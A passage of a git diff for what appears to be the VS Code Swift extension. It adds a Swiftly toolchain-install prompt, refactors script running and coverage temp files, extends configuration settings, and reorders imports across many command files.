lastProgress = 0; + + await Swiftly.installToolchain( + version, + extensionRoot, + (progressData: SwiftlyProgressData) => { + if (progressData.complete) { + // Swiftly will also verify the signature and extract the toolchain after the + // "complete" message has been sent, but does not report progress for this. + // Provide a suitable message in this case and reset the progress back to an + // indeterminate state (0) since we don't know how long it will take. + progress.report({ + message: "Verifying signature and extracting...", + increment: -lastProgress, + }); + return; + } + if (!progressData.step) { + return; + } + const increment = progressData.step.percent - lastProgress; + progress.report({ + increment, + message: + progressData.step.text ?? `${progressData.step.percent}% complete`, + }); + lastProgress = progressData.step.percent; + }, + logger, + token + ); + } + ); + + void vscode.window.showInformationMessage(`Successfully installed Swift ${version}`); + + return true; + } catch (error) { + const errorMessage = (error as Error).message; + if (errorMessage.includes(Swiftly.cancellationMessage)) { + logger?.info(`Installation of Swift ${version} was cancelled by user`); + // Don't show error message for user-initiated cancellation + return false; + } + + logger?.error(new Error(`Failed to install Swift ${version}`, { cause: error })); + void vscode.window.showErrorMessage(`Failed to install Swift ${version}: ${error}`); + return false; + } +} + +/** + * Shows a quick pick dialog to install available Swiftly toolchains + */ +export async function promptToInstallSwiftlyToolchain( + ctx: WorkspaceContext, + type: "stable" | "snapshot" +): Promise { + if (!Swiftly.isSupported()) { + ctx.logger?.warn("Swiftly is not supported on this platform."); + void vscode.window.showErrorMessage( + "Swiftly is not supported on this platform. Only macOS and Linux are supported." + ); + return; + } + + if (!(await Swiftly.isInstalled())) { + ctx.logger?.warn("Swiftly is not installed."); + void vscode.window.showErrorMessage( + "Swiftly is not installed. Please install Swiftly first from https://www.swift.org/install/" + ); + return; + } + + let branch: string | undefined = undefined; + if (type === "snapshot") { + // Prompt user to enter the branch for snapshot toolchains + branch = await vscode.window.showInputBox({ + title: "Enter Swift Snapshot Branch", + prompt: "Enter the branch name to list snapshot toolchains (e.g., 'main-snapshot', '6.1-snapshot')", + placeHolder: "main-snapshot", + value: "main-snapshot", + }); + if (!branch) { + return; // User cancelled input + } + } + + const availableToolchains = await Swiftly.listAvailable(branch, ctx.logger); + + if (availableToolchains.length === 0) { + ctx.logger?.debug("No toolchains available for installation via Swiftly."); + void vscode.window.showInformationMessage( + "No toolchains are available for installation via Swiftly." + ); + return; + } + + const uninstalledToolchains = availableToolchains + .filter(toolchain => !toolchain.installed) + .filter(toolchain => toolchain.version.type === type); + + if (uninstalledToolchains.length === 0) { + ctx.logger?.debug("All available toolchains are already installed."); + void vscode.window.showInformationMessage( + "All available toolchains are already installed." + ); + return; + } + + ctx.logger.debug( + `Available toolchains for installation: ${uninstalledToolchains.map(t => t.version.name).join(", ")}` + ); + const quickPickItems = uninstalledToolchains.map(toolchain => ({ + label: `$(cloud-download) ${toolchain.version.name}`, + toolchain: toolchain, + })); + + const selectedToolchain = await vscode.window.showQuickPick(quickPickItems, { + title: "Install Swift Toolchain via Swiftly", + placeHolder: "Pick a Swift toolchain to install", + canPickMany: false, + }); + if (!selectedToolchain) { + return; + } + + const xcodes = await SwiftToolchain.findXcodeInstalls(); + const selectedDeveloperDir = await showDeveloperDirQuickPick(xcodes); + if (!selectedDeveloperDir) { + return; + } + + const target = await askWhereToSetToolchain(); + if (!target) { + return; + } + + // Install the toolchain via Swiftly + if ( + !(await installSwiftlyToolchainWithProgress( + selectedToolchain.toolchain.version.name, + ctx.extensionContext.extensionPath, + ctx.logger + )) + ) { + return; + } + + // Tell Swiftly to use the newly installed toolchain + await setToolchainPath( + { + category: "swiftly", + async onDidSelect() { + if (target === vscode.ConfigurationTarget.Workspace) { + await Promise.all( + vscode.workspace.workspaceFolders?.map(folder => + Swiftly.use(selectedToolchain.toolchain.version.name, folder.uri.fsPath) + ) ?? [] + ); + return; + } + await Swiftly.use(selectedToolchain.toolchain.version.name); + }, + }, + selectedDeveloperDir.developerDir, + target + ); +} diff --git a/src/commands/newFile.ts b/src/commands/newFile.ts index 69af38926..19a97b3a6 100644 --- a/src/commands/newFile.ts +++ b/src/commands/newFile.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as fs from "fs/promises"; import * as path from "path"; import * as vscode from "vscode"; diff --git a/src/commands/openDocumentation.ts b/src/commands/openDocumentation.ts index 7a8fa9d75..09bf1b830 100644 --- a/src/commands/openDocumentation.ts +++ b/src/commands/openDocumentation.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; /** diff --git a/src/commands/openEducationalNote.ts b/src/commands/openEducationalNote.ts index 9f5e75b91..10543ad53 100644 --- a/src/commands/openEducationalNote.ts +++ b/src/commands/openEducationalNote.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; /** diff --git a/src/commands/openInExternalEditor.ts b/src/commands/openInExternalEditor.ts index 5137dc534..8c0479532 100644 --- a/src/commands/openInExternalEditor.ts +++ b/src/commands/openInExternalEditor.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { PackageNode } from "../ui/ProjectPanelProvider"; /** diff --git a/src/commands/openInWorkspace.ts b/src/commands/openInWorkspace.ts index dda3903c0..0281a9053 100644 --- a/src/commands/openInWorkspace.ts +++ b/src/commands/openInWorkspace.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { PackageNode } from "../ui/ProjectPanelProvider"; /** diff --git a/src/commands/openPackage.ts b/src/commands/openPackage.ts index c6c25aef7..316af8742 100644 --- a/src/commands/openPackage.ts +++ b/src/commands/openPackage.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { Version } from "../utilities/version"; + import { fileExists } from "../utilities/filesystem"; +import { Version } from "../utilities/version"; /** * Open Package.swift for in focus project. If there is a version specific manifest that diff --git a/src/commands/pickProcess.ts b/src/commands/pickProcess.ts index e18e8b791..3682e9342 100644 --- a/src/commands/pickProcess.ts +++ b/src/commands/pickProcess.ts @@ -11,9 +11,9 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as path from "path"; import * as vscode from "vscode"; + import { createProcessList } from "../process-list"; interface ProcessQuickPick extends vscode.QuickPickItem { diff --git a/src/commands/reindexProject.ts b/src/commands/reindexProject.ts index fa5ddc58a..4ea174bfe 100644 --- a/src/commands/reindexProject.ts +++ b/src/commands/reindexProject.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { WorkspaceContext } from "../WorkspaceContext"; import { ReIndexProjectRequest } from "../sourcekit-lsp/extensions"; diff --git a/src/commands/resetPackage.ts b/src/commands/resetPackage.ts index 8be64ee74..1bccb02b3 100644 --- a/src/commands/resetPackage.ts +++ b/src/commands/resetPackage.ts @@ -11,13 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; -import { createSwiftTask, SwiftTaskProvider } from "../tasks/SwiftTaskProvider"; import { WorkspaceContext } from "../WorkspaceContext"; -import { executeTaskWithUI } from "./utilities"; +import { SwiftTaskProvider, createSwiftTask } from "../tasks/SwiftTaskProvider"; import { packageName } from "../utilities/tasks"; +import { executeTaskWithUI } from "./utilities"; /** * Executes a {@link vscode.Task task} to reset the complete cache/build directory. diff --git a/src/commands/restartLSPServer.ts b/src/commands/restartLSPServer.ts index 3284d9af7..b401e14e2 100644 --- a/src/commands/restartLSPServer.ts +++ b/src/commands/restartLSPServer.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { WorkspaceContext } from "../WorkspaceContext"; + import { FolderContext } from "../FolderContext"; +import { WorkspaceContext } from "../WorkspaceContext"; /** * Restart the sourcekit-lsp server. If multiple sourcekit-lsp instances diff --git a/src/commands/runAllTests.ts b/src/commands/runAllTests.ts index f629417ad..122b58015 100644 --- a/src/commands/runAllTests.ts +++ b/src/commands/runAllTests.ts @@ -11,11 +11,11 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { TestKind } from "../TestExplorer/TestKind"; -import { WorkspaceContext } from "../WorkspaceContext"; import { flattenTestItemCollection } from "../TestExplorer/TestUtils"; +import { WorkspaceContext } from "../WorkspaceContext"; export async function runAllTests(ctx: WorkspaceContext, testKind: TestKind, target?: string) { const testExplorer = ctx.currentFolder?.testExplorer; diff --git a/src/commands/runPluginTask.ts b/src/commands/runPluginTask.ts index 8318dc0fa..cfe898904 100644 --- a/src/commands/runPluginTask.ts +++ b/src/commands/runPluginTask.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; export async function runPluginTask() { diff --git a/src/commands/runSwiftScript.ts b/src/commands/runSwiftScript.ts index e522c4cd2..541a3a80d 100644 --- a/src/commands/runSwiftScript.ts +++ b/src/commands/runSwiftScript.ts @@ -11,43 +11,65 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import * as path from "path"; import * as fs from "fs/promises"; -import { createSwiftTask } from "../tasks/SwiftTaskProvider"; -import { WorkspaceContext } from "../WorkspaceContext"; -import { Version } from "../utilities/version"; +import * as path from "path"; +import * as vscode from "vscode"; + import configuration from "../configuration"; +import { createSwiftTask } from "../tasks/SwiftTaskProvider"; +import { TaskManager } from "../tasks/TaskManager"; +import { SwiftToolchain } from "../toolchain/toolchain"; +import { TemporaryFolder } from "../utilities/tempFolder"; /** - * Run the active document through the Swift REPL + * Runs the Swift code in the supplied document. + * + * This function checks for a valid document and Swift version, then creates and executes + * a Swift task to run the script file. The task is configured to always reveal its output + * and clear previous output. The working directory is set to the script's location. + * + * @param document - The text document containing the Swift script to run. If undefined, the function returns early. + * @param tasks - The TaskManager instance used to execute and manage the Swift task. + * @param toolchain - The SwiftToolchain to use for running the script. + * @returns A promise that resolves when the script has finished running, or returns early if the user is prompted + * for which swift version to use and they exit the dialog without choosing one. */ -export async function runSwiftScript(ctx: WorkspaceContext) { - const document = vscode.window.activeTextEditor?.document; - if (!document) { - return; - } - - if (!ctx.currentFolder) { +export async function runSwiftScript( + document: vscode.TextDocument, + tasks: TaskManager, + toolchain: SwiftToolchain, + logger?: (data: string) => void +): Promise { + const targetVersion = await targetSwiftVersion(toolchain); + if (!targetVersion) { return; } - // Swift scripts require new swift driver to work on Windows. Swift driver is available - // from v5.7 of Windows Swift - if ( - process.platform === "win32" && - ctx.currentFolder.swiftVersion.isLessThan(new Version(5, 7, 0)) - ) { - void vscode.window.showErrorMessage( - "Run Swift Script is unavailable with the legacy driver on Windows." + return await withDocumentFile(document, async filename => { + const runTask = createSwiftTask( + ["-swift-version", targetVersion, filename], + `Run ${filename}`, + { + scope: vscode.TaskScope.Global, + cwd: vscode.Uri.file(path.dirname(filename)), + presentationOptions: { reveal: vscode.TaskRevealKind.Always, clear: true }, + }, + toolchain ); - return; - } - - let target: string; + runTask.execution.onDidWrite(data => logger?.(data)); + return await tasks.executeTaskAndWait(runTask); + }); +} - const defaultVersion = configuration.scriptSwiftLanguageVersion; +/** + * Determines the target Swift language version to use for script execution. + * If the configuration is set to "Ask Every Run", prompts the user to select a version. + * Otherwise, returns the default version from the user's settings. + * + * @returns {Promise} The selected Swift version, or undefined if no selection was made. + */ +async function targetSwiftVersion(toolchain: SwiftToolchain) { + const defaultVersion = configuration.scriptSwiftLanguageVersion(toolchain); if (defaultVersion === "Ask Every Run") { const picked = await vscode.window.showQuickPick( [ @@ -59,41 +81,36 @@ export async function runSwiftScript(ctx: WorkspaceContext) { placeHolder: "Select a target Swift version", } ); - - if (!picked) { - return; - } - target = picked.value; + return picked?.value; } else { - target = defaultVersion; + return defaultVersion; } +} - let filename = document.fileName; - let isTempFile = false; +/** + * Executes a callback with the filename of the given `vscode.TextDocument`. + * If the document is untitled (not yet saved to disk), it creates a temporary file, + * writes the document's content to it, and passes its filename to the callback. + * Otherwise, it ensures the document is saved and passes its actual filename. + * + * The temporary file is automatically deleted when the callback completes. + * + * @param document - The VSCode text document to operate on. + * @param callback - An async function that receives the filename of the document or temporary file. + * @returns A promise that resolves when the callback has completed. + */ +async function withDocumentFile( + document: vscode.TextDocument, + callback: (filename: string) => Promise +): Promise { if (document.isUntitled) { - // if document hasn't been saved, save it to a temporary file - isTempFile = true; - filename = ctx.tempFolder.filename(document.fileName, "swift"); - const text = document.getText(); - await fs.writeFile(filename, text); + const tmpFolder = await TemporaryFolder.create(); + return await tmpFolder.withTemporaryFile("swift", async filename => { + await fs.writeFile(filename, document.getText()); + return await callback(filename); + }); } else { - // otherwise save document await document.save(); - } - const runTask = createSwiftTask( - ["-swift-version", target, filename], - `Run ${filename}`, - { - scope: vscode.TaskScope.Global, - cwd: vscode.Uri.file(path.dirname(filename)), - presentationOptions: { reveal: vscode.TaskRevealKind.Always, clear: true }, - }, - ctx.currentFolder.toolchain - ); - await ctx.tasks.executeTaskAndWait(runTask); - - // delete file after running swift - if (isTempFile) { - await fs.rm(filename); + return await callback(document.fileName); } } diff --git a/src/commands/runTask.ts b/src/commands/runTask.ts index 5f3e03281..e74e5bd73 100644 --- a/src/commands/runTask.ts +++ b/src/commands/runTask.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { WorkspaceContext } from "../WorkspaceContext"; import { TaskOperation } from "../tasks/TaskQueue"; diff --git a/src/commands/runTest.ts b/src/commands/runTest.ts index 9b90cdd06..2521c57f3 100644 --- a/src/commands/runTest.ts +++ b/src/commands/runTest.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { TestKind } from "../TestExplorer/TestKind"; import { WorkspaceContext } from "../WorkspaceContext"; diff --git a/src/commands/switchPlatform.ts b/src/commands/switchPlatform.ts index 8bc1cfea7..da067832c 100644 --- a/src/commands/switchPlatform.ts +++ b/src/commands/switchPlatform.ts @@ -11,15 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + +import { WorkspaceContext } from "../WorkspaceContext"; +import configuration from "../configuration"; import { DarwinCompatibleTarget, SwiftToolchain, getDarwinTargetTriple, } from "../toolchain/toolchain"; -import configuration from "../configuration"; -import { WorkspaceContext } from "../WorkspaceContext"; /** * Switches the appropriate SDK setting to the platform selected in a QuickPick UI. diff --git a/src/commands/testMultipleTimes.ts b/src/commands/testMultipleTimes.ts index 7cbae3f23..b0b8f18f8 100644 --- a/src/commands/testMultipleTimes.ts +++ b/src/commands/testMultipleTimes.ts @@ -11,11 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { TestKind } from "../TestExplorer/TestKind"; -import { TestRunner, TestRunnerTestRunState, TestRunState } from "../TestExplorer/TestRunner"; + import { FolderContext } from "../FolderContext"; +import { TestKind, isDebugging } from "../TestExplorer/TestKind"; +import { TestRunState, TestRunner, TestRunnerTestRunState } from "../TestExplorer/TestRunner"; +import { colorize } from "../utilities/utilities"; /** * Runs the supplied TestItem a number of times. The user is prompted with a dialog @@ -28,6 +29,7 @@ export async function runTestMultipleTimes( currentFolder: FolderContext, tests: vscode.TestItem[], untilFailure: boolean, + kind: TestKind, count: number | undefined = undefined, testRunner?: () => Promise ) { @@ -49,14 +51,19 @@ export async function runTestMultipleTimes( } const token = new vscode.CancellationTokenSource(); const testExplorer = currentFolder.testExplorer; + const request = new vscode.TestRunRequest(tests); const runner = new TestRunner( - TestKind.standard, - new vscode.TestRunRequest(tests), + kind, + request, currentFolder, testExplorer.controller, token.token ); + // If the user terminates a debugging session we want + // to cancel the remaining iterations. + const terminationListener = runner.onDebugSessionTerminated(() => token.cancel()); + testExplorer.onDidCreateTestRunEmitter.fire(runner.testRun); const testRunState = new TestRunnerTestRunState(runner.testRun); @@ -66,11 +73,18 @@ export async function runTestMultipleTimes( const runStates: TestRunState[] = []; for (let i = 0; i < numExecutions; i++) { runner.setIteration(i); - runner.testRun.appendOutput(`\x1b[36mBeginning Test Iteration #${i + 1}\x1b[0m\n`); + runner.testRun.appendOutput( + colorize(`Beginning Test Iteration #${i + 1}`, "cyan") + "\n\r" + ); - const runState = await (testRunner !== undefined - ? testRunner() - : runner.runSession(testRunState)); + let runState: TestRunState; + if (testRunner !== undefined) { + runState = await testRunner(); + } else if (isDebugging(kind)) { + runState = await runner.debugSession(testRunState, i === 0); + } else { + runState = await runner.runSession(testRunState); + } runStates.push(runState); @@ -82,6 +96,7 @@ export async function runTestMultipleTimes( } } await runner.testRun.end(); + terminationListener.dispose(); return runStates; } @@ -96,9 +111,7 @@ export async function runTestMultipleTimes( * also accept a final count parameter. We have to find the count parameter ourselves since JavaScript * only supports varargs at the end of an argument list. */ -export function extractTestItemsAndCount( - ...args: (vscode.TestItem | number | undefined | null)[] -): { +export function extractTestItemsAndCount(...args: unknown[]): { testItems: vscode.TestItem[]; count?: number; } { @@ -112,9 +125,12 @@ export function extractTestItemsAndCount( } else if (typeof arg === "number" && index === args.length - 1) { result.count = arg ?? undefined; return result; - } else if (typeof arg === "object") { + } else if (isVSCodeTestItem(arg)) { result.testItems.push(arg); return result; + } else if (typeof arg === "object") { + // Object but not a TestItem, just skip it + return result; } else { throw new Error(`Unexpected argument ${arg} at index ${index}`); } @@ -123,3 +139,15 @@ export function extractTestItemsAndCount( ); return result; } + +/** + * Checks if an object is a vscode.TestItem via duck typing. + */ +function isVSCodeTestItem(obj: unknown): obj is vscode.TestItem { + return ( + typeof obj === "object" && + obj !== null && + Object.prototype.hasOwnProperty.call(obj, "id") && + Object.prototype.hasOwnProperty.call(obj, "uri") + ); +} diff --git a/src/commands/utilities.ts b/src/commands/utilities.ts index 1131ca0c2..155820acb 100644 --- a/src/commands/utilities.ts +++ b/src/commands/utilities.ts @@ -11,11 +11,11 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; -import { TaskOperation } from "../tasks/TaskQueue"; import { FolderOperation } from "../WorkspaceContext"; +import { TaskOperation } from "../tasks/TaskQueue"; /** * Execute task and show UI while running. diff --git a/src/configuration.ts b/src/configuration.ts index 60423c042..9d77c7a12 100644 --- a/src/configuration.ts +++ b/src/configuration.ts @@ -11,12 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as os from "os"; import * as path from "path"; -import { showReloadExtensionNotification } from "./ui/ReloadExtension"; +import * as vscode from "vscode"; + import { WorkspaceContext } from "./WorkspaceContext"; +import { SwiftToolchain } from "./toolchain/toolchain"; +import { showReloadExtensionNotification } from "./ui/ReloadExtension"; export type DebugAdapters = "auto" | "lldb-dap" | "CodeLLDB"; export type SetupCodeLLDBOptions = @@ -77,6 +78,8 @@ export interface FolderConfiguration { readonly additionalTestArguments: string[]; /** search sub-folder of workspace folder for Swift Packages */ readonly searchSubfoldersForPackages: boolean; + /** Folders to ignore when searching for Swift Packages */ + readonly ignoreSearchingForPackagesInSubfolders: string[]; /** auto-generate launch.json configurations */ readonly autoGenerateLaunchConfigurations: boolean; /** disable automatic running of swift package resolve */ @@ -104,6 +107,15 @@ export interface PluginPermissionConfiguration { allowNetworkConnections?: string; } +export interface BackgroundCompilationConfiguration { + /** enable background compilation task on save */ + enabled: boolean; + /** use the default `swift` build task when background compilation is enabled */ + useDefaultTask: boolean; + /** Use the `release` variant of the build all task */ + release: boolean; +} + /** * Type-safe wrapper around configuration settings. */ @@ -222,6 +234,15 @@ const configuration = { .getConfiguration("swift", workspaceFolder) .get("searchSubfoldersForPackages", false); }, + /** Folders to ignore when searching for Swift Packages */ + get ignoreSearchingForPackagesInSubfolders(): string[] { + return vscode.workspace + .getConfiguration("swift", workspaceFolder) + .get< + string[] + >("ignoreSearchingForPackagesInSubfolders", [".", ".build", "Packages", "out", "bazel-out", "bazel-bin"]) + .map(substituteVariablesInString); + }, get attachmentsPath(): string { return substituteVariablesInString( vscode.workspace @@ -352,10 +373,14 @@ const configuration = { .get("buildArguments", []) .map(substituteVariablesInString); }, - get scriptSwiftLanguageVersion(): string { - return vscode.workspace + scriptSwiftLanguageVersion(toolchain: SwiftToolchain): string { + const version = vscode.workspace .getConfiguration("swift") - .get("scriptSwiftLanguageVersion", "6"); + .get("scriptSwiftLanguageVersion", toolchain.swiftVersion.major.toString()); + if (version.length === 0) { + return toolchain.swiftVersion.major.toString(); + } + return version; }, /** swift package arguments */ get packageArguments(): string[] { @@ -402,11 +427,28 @@ const configuration = { .getConfiguration("swift") .get("showBuildStatus", "swiftStatus"); }, - /** background compilation */ - get backgroundCompilation(): boolean { + /** create build tasks for the library products of the package(s) */ + get createTasksForLibraryProducts(): boolean { return vscode.workspace .getConfiguration("swift") - .get("backgroundCompilation", false); + .get("createTasksForLibraryProducts", false); + }, + /** background compilation */ + get backgroundCompilation(): BackgroundCompilationConfiguration { + const value = vscode.workspace + .getConfiguration("swift") + .get("backgroundCompilation", false); + return { + get enabled(): boolean { + return typeof value === "boolean" ? value : value.enabled; + }, + get useDefaultTask(): boolean { + return typeof value === "boolean" ? true : (value.useDefaultTask ?? true); + }, + get release(): boolean { + return typeof value === "boolean" ? false : (value.release ?? false); + }, + }; }, /** background indexing */ get backgroundIndexing(): "on" | "off" | "auto" { @@ -516,6 +558,19 @@ const configuration = { /* Put in worker queue */ }); }, + get outputChannelLogLevel(): string { + return vscode.workspace.getConfiguration("swift").get("outputChannelLogLevel", "info"); + }, + parameterHintsEnabled(documentUri: vscode.Uri): boolean { + const enabled = vscode.workspace + .getConfiguration("editor.parameterHints", { + uri: documentUri, + languageId: "swift", + }) + .get("enabled"); + + return enabled === true; + }, }; const vsCodeVariableRegex = new RegExp(/\$\{(.+?)\}/g); diff --git a/src/contextKeys.ts b/src/contextKeys.ts index 348c73c3c..97524fce1 100644 --- a/src/contextKeys.ts +++ b/src/contextKeys.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { Version } from "./utilities/version"; /** @@ -23,7 +23,7 @@ import { Version } from "./utilities/version"; */ /** Interface for getting and setting the VS Code Swift extension's context keys */ -interface ContextKeys { +export interface ContextKeys { /** * Whether or not the swift extension is activated. */ @@ -84,6 +84,11 @@ interface ContextKeys { */ supportsDocumentationLivePreview: boolean; + /** + * Whether the installed version of Swiftly can be used to install toolchains from within VS Code. + */ + supportsSwiftlyInstall: boolean; + /** * Whether the swift.switchPlatform command is available. */ @@ -96,7 +101,7 @@ interface ContextKeys { } /** Creates the getters and setters for the VS Code Swift extension's context keys. */ -function createContextKeys(): ContextKeys { +export function createContextKeys(): ContextKeys { let isActivated: boolean = false; let hasPackage: boolean = false; let hasExecutableProduct: boolean = false; @@ -109,6 +114,7 @@ function createContextKeys(): ContextKeys { let createNewProjectAvailable: boolean = false; let supportsReindexing: boolean = false; let supportsDocumentationLivePreview: boolean = false; + let supportsSwiftlyInstall: boolean = false; let switchPlatformAvailable: boolean = false; return { @@ -278,6 +284,19 @@ function createContextKeys(): ContextKeys { }); }, + get supportsSwiftlyInstall() { + return supportsSwiftlyInstall; + }, + + set supportsSwiftlyInstall(value: boolean) { + supportsSwiftlyInstall = value; + void vscode.commands + .executeCommand("setContext", "swift.supportsSwiftlyInstall", value) + .then(() => { + /* Put in worker queue */ + }); + }, + get switchPlatformAvailable() { return switchPlatformAvailable; }, @@ -292,10 +311,3 @@ function createContextKeys(): ContextKeys { }, }; } - -/** - * Type-safe wrapper around context keys used in `when` clauses. - */ -const contextKeys: ContextKeys = createContextKeys(); - -export default contextKeys; diff --git a/src/coverage/LcovResults.ts b/src/coverage/LcovResults.ts index 4cad3fd74..786e3aacf 100644 --- a/src/coverage/LcovResults.ts +++ b/src/coverage/LcovResults.ts @@ -23,7 +23,7 @@ import { FolderContext } from "../FolderContext"; import { execFileStreamOutput } from "../utilities/utilities"; import { BuildFlags } from "../toolchain/BuildFlags"; import { TestLibrary } from "../TestExplorer/TestRunner"; -import { DisposableFileCollection } from "../utilities/tempFolder"; +import { DisposableFileCollection, TemporaryFolder } from "../utilities/tempFolder"; import { TargetType } from "../SwiftPackage"; import { TestingConfigurationFactory } from "../debugger/buildConfig"; import { TestKind } from "../TestExplorer/TestKind"; @@ -35,13 +35,11 @@ interface CodeCovFile { export class TestCoverage { private lcovFiles: CodeCovFile[] = []; - private lcovTmpFiles: DisposableFileCollection; + private _lcovTmpFiles?: DisposableFileCollection; + private _lcovTmpFilesInit?: Promise; private coverageDetails = new Map(); - constructor(private folderContext: FolderContext) { - const tmpFolder = folderContext.workspaceContext.tempFolder; - this.lcovTmpFiles = tmpFolder.createDisposableFileCollection(); - } + constructor(private folderContext: FolderContext) {} /** * Returns coverage information for the suppplied URI. @@ -60,7 +58,7 @@ export class TestCoverage { true ); const result = await asyncfs.readFile(`${buildDirectory}/debug/codecov/default.profdata`); - const filename = this.lcovTmpFiles.file(testLibrary, "profdata"); + const filename = (await this.lcovTmpFiles()).file(testLibrary, "profdata"); await asyncfs.writeFile(filename, result); this.lcovFiles.push({ testLibrary, path: filename }); } @@ -88,14 +86,14 @@ export class TestCoverage { this.coverageDetails.set(uri, detailedCoverage); } } - await this.lcovTmpFiles.dispose(); + await this._lcovTmpFiles?.dispose(); } /** * Merges multiple `.profdata` files into a single `.profdata` file. */ private async mergeProfdata(profDataFiles: string[]) { - const filename = this.lcovTmpFiles.file("merged", "profdata"); + const filename = (await this.lcovTmpFiles()).file("merged", "profdata"); const toolchain = this.folderContext.toolchain; const llvmProfdata = toolchain.getToolchainExecutable("llvm-profdata"); await execFileStreamOutput( @@ -196,6 +194,27 @@ export class TestCoverage { return buffer; } + /** + * Lazily creates (once) and returns the disposable file collection used for LCOV processing. + * Safe against concurrent callers. + */ + private async lcovTmpFiles(): Promise { + if (this._lcovTmpFiles) { + return this._lcovTmpFiles; + } + + // Use an internal promise to avoid duplicate folder creation in concurrent calls. + if (!this._lcovTmpFilesInit) { + this._lcovTmpFilesInit = (async () => { + const tempFolder = await TemporaryFolder.create(); + this._lcovTmpFiles = tempFolder.createDisposableFileCollection(); + return this._lcovTmpFiles; + })(); + } + + return (await this._lcovTmpFilesInit)!; + } + /** * Constructs a string containing all the paths to exclude from the code coverage report. * This should exclude everything in the `.build` folder as well as all the test targets. diff --git a/src/debugger/buildConfig.ts b/src/debugger/buildConfig.ts index 9cd930737..062431c31 100644 --- a/src/debugger/buildConfig.ts +++ b/src/debugger/buildConfig.ts @@ -11,23 +11,24 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import * as fs from "fs/promises"; import * as os from "os"; import * as path from "path"; import * as vscode from "vscode"; -import * as fs from "fs/promises"; -import configuration from "../configuration"; + import { FolderContext } from "../FolderContext"; -import { BuildFlags } from "../toolchain/BuildFlags"; -import { regexEscapedString, swiftRuntimeEnv } from "../utilities/utilities"; -import { SWIFT_LAUNCH_CONFIG_TYPE } from "./debugAdapter"; import { TargetType } from "../SwiftPackage"; -import { Version } from "../utilities/version"; -import { TestLibrary } from "../TestExplorer/TestRunner"; import { TestKind, isDebugging, isRelease } from "../TestExplorer/TestKind"; +import { TestLibrary } from "../TestExplorer/TestRunner"; +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; import { buildOptions } from "../tasks/SwiftTaskProvider"; -import { updateLaunchConfigForCI } from "./lldb"; +import { ArgumentFilter, BuildFlags } from "../toolchain/BuildFlags"; import { packageName } from "../utilities/tasks"; +import { regexEscapedString, swiftRuntimeEnv } from "../utilities/utilities"; +import { Version } from "../utilities/version"; +import { SWIFT_LAUNCH_CONFIG_TYPE } from "./debugAdapter"; +import { updateLaunchConfigForCI } from "./lldb"; export class BuildConfigurationFactory { public static buildAll( @@ -61,10 +62,13 @@ export class BuildConfigurationFactory { additionalArgs = [...additionalArgs, "-Xswiftc", "-enable-testing"]; } if (this.isTestBuild) { - additionalArgs = [ - ...additionalArgs, - ...configuration.folder(this.ctx.workspaceFolder).additionalTestArguments, - ]; + // Exclude all arguments from TEST_ONLY_ARGUMENTS that would cause a `swift build` to fail. + const buildCompatibleArgs = BuildFlags.filterArguments( + configuration.folder(this.ctx.workspaceFolder).additionalTestArguments, + BuildConfigurationFactory.TEST_ONLY_ARGUMENTS, + true + ); + additionalArgs = [...additionalArgs, ...buildCompatibleArgs]; } } @@ -98,6 +102,30 @@ export class BuildConfigurationFactory { private get baseConfig() { return getBaseConfig(this.ctx, true); } + + /** + * Arguments from additionalTestArguments that should be excluded from swift build commands. + * These are test-only arguments that would cause build failures if passed to swift build. + */ + private static TEST_ONLY_ARGUMENTS: ArgumentFilter[] = [ + { argument: "--parallel", include: 0 }, + { argument: "--no-parallel", include: 0 }, + { argument: "--num-workers", include: 1 }, + { argument: "--filter", include: 1 }, + { argument: "--skip", include: 1 }, + { argument: "-s", include: 1 }, + { argument: "--specifier", include: 1 }, + { argument: "-l", include: 0 }, + { argument: "--list-tests", include: 0 }, + { argument: "--show-codecov-path", include: 0 }, + { argument: "--show-code-coverage-path", include: 0 }, + { argument: "--show-coverage-path", include: 0 }, + { argument: 